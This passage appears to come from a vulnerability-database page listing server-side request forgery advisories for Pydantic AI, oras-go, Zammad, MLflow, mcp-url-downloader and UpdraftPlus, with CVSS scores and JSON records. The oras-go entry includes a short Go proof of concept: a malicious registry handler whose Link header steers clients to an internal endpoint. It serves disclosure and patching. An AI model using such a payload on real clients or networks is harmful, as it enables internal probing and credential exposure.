      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0b1"
            },
            {
              "fixed": "2.0.0b6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-13T14:16:26Z",
    "nvd_published_at": "2026-07-29T21:17:47Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application\u0027s model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server\u0027s own credentials, allowing the client to read files it should not have access to.\n\n### Details\n\nUI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references \u2014 which point to a file by provider file ID or cloud-storage URI (e.g. `s3://\u2026`, `gs://\u2026`) \u2014 were forwarded without validation.\n\nBecause the provider resolves an `UploadedFile` using the server-side identity (IAM role, service account, or provider API key) rather than the client\u0027s, a client that crafts message history containing an attacker-chosen `UploadedFile` can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.\n\n### Impact\n\nApplications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.\n\n### Patches\n\nUpgrade to `1.106.0` (1.x) or `2.0.0b6` (the 2.x beta line), which validate `UploadedFile` references on client-submitted messages the same way file URLs are validated.\n\n### Workarounds\n\nIf users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip `UploadedFile` parts from incoming messages before running the agent.",
  "id": "GHSA-h7p7-w5gc-xj3w",
  "modified": "2026-08-13T14:16:26Z",
  "published": "2026-08-13T14:16:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-h7p7-w5gc-xj3w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54249"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/pydantic-ai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/releases/tag/v1.106.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.0.0b6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pydantic AI: Unvalidated UploadedFile references in UI adapters allow server-side file access using the application\u0027s credentials"
}

GHSA-H7VF-4X9W-H99V

Vulnerability from github – Published: 2026-09-17 17:16 – Updated: 2026-09-17 17:16

Summary

oras-go: Blind SSRF via unvalidated Link header URL in pagination allows internal network probing

Details

Summary

oras-go's pagination helper parseLink() in registry/remote/utils.go follows the Link response header from a registry without validating the URL's host or scheme. When a malicious registry returns a Link header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the victim's network.

This affects all pagination-based listing operations: Tags, Referrers, and Repositories (catalog).

Root Cause

parseLink() at registry/remote/utils.go:54 calls resp.Request.URL.Parse(link) which, for absolute URLs, returns the absolute URL unchanged. The result is passed directly to the next pagination loop iteration where http.NewRequestWithContext() creates a GET request to the attacker-specified URL. No host comparison, scheme validation, or IP filtering exists between parseLink output and the HTTP request.

Affected Code Paths

registry/remote/repository.go:Tags() calls parseLink() for next page URL
registry/remote/repository.go:Referrers() calls parseLink() for next page URL
registry/remote/registry.go:Repositories() calls parseLink() for next page URL

Impact

Blind SSRF from the victim's network. A malicious registry operator can force any oras-go client that lists tags, referrers, or repositories to issue GET requests to arbitrary internal endpoints:

Cloud instance metadata endpoints for service discovery and IAM role enumeration
Internal HTTP services for port scanning and triggering side effects
If the victim's credential store maps credentials for the SSRF target host, those credentials are attached to the request (auth.Client looks up creds by request host)

The attacker cannot read the response body (it's parsed as JSON and fails), making this a blind SSRF. However, timing and error differences can confirm internal service existence.

Attack Chain

Victim calls repo.Tags() / repo.Referrers() / registry.Repositories() against attacker-controlled registry
Registry returns a valid first page + malicious Link header pointing to an internal endpoint
parseLink() extracts the absolute URL with zero validation
Pagination loop makes GET request to the internal endpoint from victim's network

PoC

Expand PoC

// Malicious registry handler for /v2/repo/tags/list:
func handler(w http.ResponseWriter, r *http.Request) {
    // Link header points to cloud metadata or internal service
    w.Header().Set("Link", `<http://internal-service:8080/admin>; rel="next"`)
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string][]string{"tags": {"v1"}})
}

// Victim code:
repo, _ := remote.NewRepository("attacker-registry.io/repo")
repo.Tags(ctx, "", func(tags []string) error { return nil })
// Result: GET http://internal-service:8080/admin is made from victim's network

Suggested Fix

Validate that the URL returned by parseLink() has the same host and scheme as the original request before using it for the next pagination request. Reject cross-host or scheme-downgrade URLs.

Reported by zx (Jace)

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.6.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "oras.land/oras-go/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:16:02Z",
    "nvd_published_at": "2026-09-16T17:18:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\noras-go\u0027s pagination helper `parseLink()` in `registry/remote/utils.go` follows the `Link` response header from a registry without validating the URL\u0027s host or scheme. When a malicious registry returns a `Link` header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the victim\u0027s network.\n\nThis affects all pagination-based listing operations: Tags, Referrers, and Repositories (catalog).\n\n## Root Cause\n\n`parseLink()` at `registry/remote/utils.go:54` calls `resp.Request.URL.Parse(link)` which, for absolute URLs, returns the absolute URL unchanged. The result is passed directly to the next pagination loop iteration where `http.NewRequestWithContext()` creates a GET request to the attacker-specified URL. No host comparison, scheme validation, or IP filtering exists between `parseLink` output and the HTTP request.\n\n## Affected Code Paths\n\n- `registry/remote/repository.go:Tags()` calls `parseLink()` for next page URL\n- `registry/remote/repository.go:Referrers()` calls `parseLink()` for next page URL\n- `registry/remote/registry.go:Repositories()` calls `parseLink()` for next page URL\n\n## Impact\n\n**Blind SSRF from the victim\u0027s network.** A malicious registry operator can force any oras-go client that lists tags, referrers, or repositories to issue GET requests to arbitrary internal endpoints:\n\n- Cloud instance metadata endpoints for service discovery and IAM role enumeration\n- Internal HTTP services for port scanning and triggering side effects\n- If the victim\u0027s credential store maps credentials for the SSRF target host, those credentials are attached to the request (auth.Client looks up creds by request host)\n\nThe attacker cannot read the response body (it\u0027s parsed as JSON and fails), making this a blind SSRF. However, timing and error differences can confirm internal service existence.\n\n## Attack Chain\n\n1. Victim calls `repo.Tags()` / `repo.Referrers()` / `registry.Repositories()` against attacker-controlled registry\n2. Registry returns a valid first page + malicious Link header pointing to an internal endpoint\n3. `parseLink()` extracts the absolute URL with zero validation\n4. Pagination loop makes GET request to the internal endpoint from victim\u0027s network\n\n## PoC\n\n\u003cdetails\u003e\n\u003csummary\u003eExpand PoC\u003c/summary\u003e\n\n```go\n// Malicious registry handler for /v2/repo/tags/list:\nfunc handler(w http.ResponseWriter, r *http.Request) {\n    // Link header points to cloud metadata or internal service\n    w.Header().Set(\"Link\", `\u003chttp://internal-service:8080/admin\u003e; rel=\"next\"`)\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    json.NewEncoder(w).Encode(map[string][]string{\"tags\": {\"v1\"}})\n}\n\n// Victim code:\nrepo, _ := remote.NewRepository(\"attacker-registry.io/repo\")\nrepo.Tags(ctx, \"\", func(tags []string) error { return nil })\n// Result: GET http://internal-service:8080/admin is made from victim\u0027s network\n```\n\n\u003c/details\u003e\n\n## Suggested Fix\n\nValidate that the URL returned by `parseLink()` has the same host and scheme as the original request before using it for the next pagination request. Reject cross-host or scheme-downgrade URLs.\n\nReported by **zx (Jace)**",
  "id": "GHSA-h7vf-4x9w-h99v",
  "modified": "2026-09-17T17:16:02Z",
  "published": "2026-09-17T17:16:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-h7vf-4x9w-h99v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85732"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/commit/31da1963f8c327dd089cd29faeae95cf0fc50842"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oras-project/oras-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "oras-go: Blind SSRF via unvalidated Link header URL in pagination allows internal network probing"
}

GHSA-H7VP-W2VP-6C97

Vulnerability from github – Published: 2025-04-05 21:30 – Updated: 2025-04-05 21:30

Details

In Zammad 6.4.x before 6.4.2, SSRF can occur. Authenticated admin users can enable webhooks in Zammad, which are triggered as POST requests when certain conditions are met. If a webhook endpoint returned a redirect response, Zammad would follow it automatically with another GET request. This could be abused by an attacker to cause GET requests for example in the local network.

Severity

4.0 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-32358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-05T21:15:40Z",
    "severity": "MODERATE"
  },
  "details": "In Zammad 6.4.x before 6.4.2, SSRF can occur. Authenticated admin users can enable webhooks in Zammad, which are triggered as POST requests when certain conditions are met. If a webhook endpoint returned a redirect response, Zammad would follow it automatically with another GET request. This could be abused by an attacker to cause GET requests for example in the local network.",
  "id": "GHSA-h7vp-w2vp-6c97",
  "modified": "2025-04-05T21:30:22Z",
  "published": "2025-04-05T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32358"
    },
    {
      "type": "WEB",
      "url": "https://zammad.com/en/advisories/zaa-2025-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H7X2-H6G9-P789

Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-31 19:48

Summary

MLflow AI Gateway permits SSRF through an unvalidated api_base

Details

MLflow's AI Gateway accepts an auth_config.api_base value when creating a gateway secret (mlflow/server/handlers.py, _create_gateway_secret) with no validation of scheme, host, or IP range; the value is stored verbatim. The gateway proxy endpoint (mlflow/server/gateway_api.py, raw_proxy) subsequently issues an HTTP request to that stored api_base plus a caller-supplied path and returns the full response body. MLflow's existing SSRF guard, _validate_webhook_url (which blocks non-global and metadata IPs), is never invoked anywhere in this gateway secret/proxy code path. The CreateGatewaySecret action additionally has no entry in the permission-validator map, so it requires only basic authentication rather than any specific scope, meaning any authenticated user — including read-only accounts — can create a secret pointing at an internal address and reach it via the proxy endpoint, potentially exposing cloud-instance IAM credentials via metadata services. This is related to CVE-2026-4035, which addresses a distinct mechanism in the same gateway-secret feature (server-side $ENV_VAR resolution inside the api_key field leaking credentials to the configured upstream); the finding here is an independent missing-validation gap in the api_base destination itself, unaffected by that fix.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.13.0"
            },
            {
              "last_affected": "3.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-31T19:48:13Z",
    "nvd_published_at": "2026-08-05T08:16:43Z",
    "severity": "HIGH"
  },
  "details": "MLflow\u0027s AI Gateway accepts an auth_config.api_base value when creating a gateway secret (mlflow/server/handlers.py, _create_gateway_secret) with no validation of scheme, host, or IP range; the value is stored verbatim. The gateway proxy endpoint (mlflow/server/gateway_api.py, raw_proxy) subsequently issues an HTTP request to that stored api_base plus a caller-supplied path and returns the full response body. MLflow\u0027s existing SSRF guard, _validate_webhook_url (which blocks non-global and metadata IPs), is never invoked anywhere in this gateway secret/proxy code path. The CreateGatewaySecret action additionally has no entry in the permission-validator map, so it requires only basic authentication rather than any specific scope, meaning any authenticated user \u2014 including read-only accounts \u2014 can create a secret pointing at an internal address and reach it via the proxy endpoint, potentially exposing cloud-instance IAM credentials via metadata services. This is related to CVE-2026-4035, which addresses a distinct mechanism in the same gateway-secret feature (server-side $ENV_VAR resolution inside the api_key field leaking credentials to the configured upstream); the finding here is an independent missing-validation gap in the api_base destination itself, unaffected by that fix.",
  "id": "GHSA-h7x2-h6g9-p789",
  "modified": "2026-08-31T19:48:14Z",
  "published": "2026-08-05T09:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/96b7d900e14227e0821981409d86f5fb6c59b386"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/tree/v3.14.0/mlflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " MLflow AI Gateway permits SSRF through an unvalidated api_base"
}

GHSA-H7XC-4MV8-59FJ

Vulnerability from github – Published: 2026-04-27 21:31 – Updated: 2026-05-06 18:39

Summary

mcp-url-downloader has a Server-Side Request Forgery issue

Details

A vulnerability has been found in dmitryglhf mcp-url-downloader up to 4b8cf2de55f6e8864a77d108e8a94a5b8e4394c6. Affected by this issue is the function _validate_url_safe of the file src/mcp_url_downloader/server.py. Such manipulation of the argument url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-url-downloader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-7158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T18:39:48Z",
    "nvd_published_at": "2026-04-27T21:16:44Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in dmitryglhf mcp-url-downloader up to 4b8cf2de55f6e8864a77d108e8a94a5b8e4394c6. Affected by this issue is the function _validate_url_safe of the file src/mcp_url_downloader/server.py. Such manipulation of the argument url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-h7xc-4mv8-59fj",
  "modified": "2026-05-06T18:39:48Z",
  "published": "2026-04-27T21:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7158"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dmitryglhf/url-download-mcp/issues/2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dmitryglhf/url-download-mcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/802062"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359757"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359757/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "mcp-url-downloader has a Server-Side Request Forgery issue"
}

GHSA-H822-QCQ8-PF95

Vulnerability from github – Published: 2022-05-14 01:09 – Updated: 2022-05-14 01:09

Details

** DISPUTED ** The UpdraftPlus plugin through 1.13.12 for WordPress has SSRF in the updraft_ajax_handler function in /wp-content/plugins/updraftplus/admin.php via an httpget subaction. NOTE: the vendor reports that this does not cross a privilege boundary.

Severity

8.1 (High)


                  
                    CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-16870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-17T09:29:00Z",
    "severity": "HIGH"
  },
  "details": "** DISPUTED ** The UpdraftPlus plugin through 1.13.12 for WordPress has SSRF in the updraft_ajax_handler function in /wp-content/plugins/updraftplus/admin.php via an httpget subaction. NOTE: the vendor reports that this does not cross a privilege boundary.",
  "id": "GHSA-h822-qcq8-pf95",
  "modified": "2022-05-14T01:09:50Z",
  "published": "2022-05-14T01:09:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16870"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LoRexxar/CVE_Request/tree/master/wordpress%20plugin%20updraftplus%20vulnerablity#authenticated-ssrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CWE-918

Server-Side Request Forgery (SSRF)

GHSA-H6X2-583H-X99R

Summary

Preconditions

Impact

Fix

Root cause

Credits

GHSA-H74M-472F-X5GJ

GHSA-H754-FXP7-88WX

Summary

Details

PoC

Impact

GHSA-H7J4-4VJP-JMXF

GHSA-H7P7-W5GC-XJ3W

Summary

Details

Impact

Patches

Workarounds

GHSA-H7VF-4X9W-H99V

Summary

Root Cause

Affected Code Paths

Impact

Attack Chain

PoC

Suggested Fix

GHSA-H7VP-W2VP-6C97

GHSA-H7X2-H6G9-P789

GHSA-H7XC-4MV8-59FJ

GHSA-H822-QCQ8-PF95

CAPEC-664: Server Side Request Forgery